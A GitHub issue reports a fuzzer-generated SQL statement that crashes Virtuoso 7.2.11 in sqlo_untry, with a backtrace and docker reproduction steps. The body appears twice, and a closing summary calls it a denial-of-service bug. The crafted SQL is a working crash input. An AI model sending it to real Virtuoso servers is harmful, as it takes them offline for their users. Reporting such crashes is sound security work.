The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE x ( x BIGINT UNIQUE CHECK ( CASE WHEN x = ( SELECT x FROM x WHERE ( CASE WHEN x = x AND x = x AND x THEN 'x' ELSE x + x * 1 + 1 END ) IN ( SELECT ( SELECT x FROM x WHERE 'x' AND 1.000000 LIKE 'x' * 'x' OR x BETWEEN 'x' AND 1 ) [ 1 ] FROM x WHERE ( x / 1 ) = x - 1.000000 * 1 ORDER BY x - x * 1 + 1 ) ORDER BY x / 1 DESC ) THEN x + x * 1 + 1.000000 END AND ( SELECT CASE WHEN x = 1 THEN 1 ELSE ( SELECT x FROM x WHERE x NOT IN ( 1 ) AND x NOT IN ( 1 ) GROUP BY CASE WHEN x * x THEN 1 ELSE ( SELECT x FROM x WHERE x = 1 / CASE WHEN x = ( SELECT x FROM x WHERE ( SELECT x / CASE WHEN x NOT IN ( 1 ) AND x NOT IN ( 1 , ( ( NULL , 1.000000 ) , ( 1.000000 , ( SELECT x + 1 , ( ( SELECT x + 1 , ( 1.000000 , 1.000000 ) / 1 FROM x WHERE x = 1 / 1 ) ) / 1 FROM x WHERE x = 1 / 1 ) ) ) ) THEN ( CASE WHEN x = 1 THEN 1 ELSE x - x * 1 + 1 END ) END ) = 1 * 1 ORDER BY x / 1 DESC ) THEN x + x * 1 + 1.000000 END ) END ) + x / 1 + 1 END ) < x + x + x ) NOT NULL CHECK ( x = 1 ) ) ;
```

backtrace:
```c
#0 0x70909e (sqlo_untry+0x3e)
#1 0x70ae67 (sqlo_layout_1+0xb57)
#2 0x6eadab (sqlo_layout+0x5fb)
#3 0x70eb45 (sqlo_top_2+0x335)
#4 0x70e4a5 (sqlo_top_1+0x135)
#5 0x70ffa6 (sqlo_top_select+0x156)
#6 0x6b9b6f (sql_stmt_comp+0x8bf)
#7 0x6bc9d2 (sql_compile_1+0x1a62)
#8 0x4e213f (ddl_table_check_constraints_define_triggers+0x1af)
#9 0x4e462d (ddl_table_constraints+0xd0d)
#10 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#11 0x4e57ee (sql_ddl_node_input+0x10e)
#12 0x7bcb0b (ddl_node_input_1+0x19b)
#13 0x7bd1e7 (qn_without_ac_at+0xc7)
#14 0x7af05e (qn_input+0x3ce)
#15 0x7c1be9 (qr_dml_array_exec+0x839)
#16 0x7ce602 (sf_sql_execute+0x15d2)
#17 0x7cecde (sf_sql_execute_w+0x17e)
#18 0x7d799d (sf_sql_execute_wrapper+0x3d)
#19 0xe214bc (future_wrapper+0x3fc)
#20 0xe28dbe (_thread_boot+0x11e)
#21 0x7f9fb1f98609 (start_thread+0xd9)
#22 0x7f9fb1d68133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_untry`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_untry`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE x ( x BIGINT UNIQUE CHECK ( CASE WHEN x = ( SELECT x FROM x WHERE ( CASE WHEN x = x AND x = x AND x THEN 'x' ELSE x + x * 1 + 1 END ) IN ( SELECT ( SELECT x FROM x WHERE 'x' AND 1.000000 LIKE 'x' * 'x' OR x BETWEEN 'x' AND 1 ) [ 1 ] FROM x WHERE ( x / 1 ) = x - 1.000000 * 1 ORDER BY x - x * 1 + 1 ) ORDER BY x / 1 DESC ) THEN x + x * 1 + 1.000000 END AND ( SELECT CASE WHEN x = 1 THEN 1 ELSE ( SELECT x FROM x WHERE x NOT IN ( 1 ) AND x NOT IN ( 1 ) GROUP BY CASE WHEN x * x THEN 1 ELSE ( SELECT x FROM x WHERE x = 1 / CASE WHEN x = ( SELECT x FROM x WHERE ( SELECT x / CASE WHEN x NOT IN ( 1 ) AND x NOT IN ( 1 , ( ( NULL , 1.000000 ) , ( 1.000000 , ( SELECT x + 1 , ( ( SELECT x + 1 , ( 1.000000 , 1.000000 ) / 1 FROM x WHERE x = 1 / 1 ) ) / 1 FROM x WHERE x = 1 / 1 ) ) ) ) THEN ( CASE WHEN x = 1 THEN 1 ELSE x - x * 1 + 1 END ) END ) = 1 * 1 ORDER BY x / 1 DESC ) THEN x + x * 1 + 1.000000 END ) END ) + x / 1 + 1 END ) < x + x + x ) NOT NULL CHECK ( x = 1 ) ) ;
```

backtrace:
```c
#0 0x70909e (sqlo_untry+0x3e)
#1 0x70ae67 (sqlo_layout_1+0xb57)
#2 0x6eadab (sqlo_layout+0x5fb)
#3 0x70eb45 (sqlo_top_2+0x335)
#4 0x70e4a5 (sqlo_top_1+0x135)
#5 0x70ffa6 (sqlo_top_select+0x156)
#6 0x6b9b6f (sql_stmt_comp+0x8bf)
#7 0x6bc9d2 (sql_compile_1+0x1a62)
#8 0x4e213f (ddl_table_check_constraints_define_triggers+0x1af)
#9 0x4e462d (ddl_table_constraints+0xd0d)
#10 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#11 0x4e57ee (sql_ddl_node_input+0x10e)
#12 0x7bcb0b (ddl_node_input_1+0x19b)
#13 0x7bd1e7 (qn_without_ac_at+0xc7)
#14 0x7af05e (qn_input+0x3ce)
#15 0x7c1be9 (qr_dml_array_exec+0x839)
#16 0x7ce602 (sf_sql_execute+0x15d2)
#17 0x7cecde (sf_sql_execute_w+0x17e)
#18 0x7d799d (sf_sql_execute_wrapper+0x3d)
#19 0xe214bc (future_wrapper+0x3fc)
#20 0xe28dbe (_thread_boot+0x11e)
#21 0x7f9fb1f98609 (start_thread+0xd9)
#22 0x7f9fb1d68133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `sqlo_untry` function of Virtuoso 7.2.11 can be triggered by executing a specially crafted SQL statement. This vulnerability can lead to a Denial of Service (DoS) as the server crashes when processing the input, which is generated by a fuzzer. The issue arises from the complexity of the SQL statement that causes the server to enter an invalid state during execution.